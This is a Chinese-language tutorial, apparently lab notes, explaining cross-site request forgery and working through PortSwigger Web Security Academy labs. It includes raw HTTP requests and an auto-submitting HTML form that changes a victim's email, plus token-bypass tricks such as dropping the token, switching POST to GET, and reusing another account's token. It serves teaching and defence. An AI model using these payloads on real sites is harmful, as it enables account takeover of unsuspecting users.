CSRF基础原理(Cross-site request forgery)
什么是跨站请求伪造 (CSRF)?
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
案例解释
粘贴于 pikachu…
小黑想要修改大白在购物网www.xx.com上填写的会员地址。 先看下大白是如何修改自己的密码的: 登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有: 1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办? 于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
- www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
- 一个相关的动作。应用程序中存在攻击者有理由诱导的操作。这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户自己的密码)。
- 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
- 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击
常见csrf类型
没有防御措施的 CSRF 漏洞及利用
电子邮件更改功能易受 CSRF 攻击。
POST /my-account/change-email HTTP/1.1
Host: ac8e1f521e2c57eac0b51b17008f00d2.web-security-academy.net
....
email=123456%40qq.com
自动生成 攻击脚本
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac8e1f521e2c57eac0b51b17008f00d2.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="123456@qq.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
用户点击后会 出现的效果,这个窗口会自动提交 几乎一下就闪了,
然后就 ok了…
令牌验证取决于请求方法
观察如果您更改csrf参数的值,则请求被拒绝。 将其POST转换为 GET 请求,并删了CSRF 令牌 则不再被验证()
令牌验证取决于令牌是否存在
观察如果您更改csrf参数的值,则请求被拒绝。 删了CSRF 令牌 则不再被验证()
令牌不绑定到用户会话的 CSRF
CSRF 令牌是一次性的,但如果将 CSRF 令牌与来自其他帐户的值交换,则请求被接受。
就是我 记下CSRF token的值,然后丢弃请求。
用这个 CSRF token 去攻击受害者…
令牌在 cookie 中重复
POST /my-account/change-email HTTP/1.1
Host: ac071f3f1fb0c08fc0a3433100df00f7.web-security-academy.net
Cookie: csrf=lUOvICKDdssRwxsi8cThs5hDqTNkQhCt; session=vFsf35l6OJeVGgbiIrP1Y7wRzU2uFcYX
....
email=123456%40qq.com&csrf=lUOvICKDdssRwxsi8cThs5hDqTNkQhCt
csrf参数的值只是通过将其与cookie 进行比较来验证。 反映在 Set-Cookie 标头
|